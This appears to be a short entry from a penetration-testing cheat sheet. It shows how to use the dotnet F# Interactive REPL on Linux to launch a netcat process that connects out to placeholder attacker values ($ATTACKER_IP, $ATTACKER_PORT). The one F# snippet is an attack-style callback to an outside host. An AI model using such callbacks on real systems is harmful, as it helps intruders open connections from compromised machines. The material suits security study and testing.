24 lines
520 B
Markdown
24 lines
520 B
Markdown
|
# Dotnet
|
||
|
|
||
|
## Run Dotnet on Linux
|
||
|
|
||
|
### Dotnet REPL
|
||
|
|
||
|
* Dotnet can be executed just in time via dotnet commandline tool. An example on how to use this follows
|
||
|
```sh
|
||
|
dotnet fsi
|
||
|
|
||
|
Microsoft (R) F# Interactive version 12.0.0.0 for F# 6.0
|
||
|
Copyright (c) Microsoft Corporation. All Rights Reserved.
|
||
|
|
||
|
For help type #help;;
|
||
|
|
||
|
> open System.Diagnostics
|
||
|
- let psi = new ProcessStartInfo("nc", "$ATTACKER_IP $ATTACKER_PORT")
|
||
|
- psi.UseShellExecute <- false
|
||
|
- let _proc = Process.Start(psi)
|
||
|
- _proc.WaitForExit() |> ignore
|
||
|
- #quit;;
|
||
|
```
|
||
|
|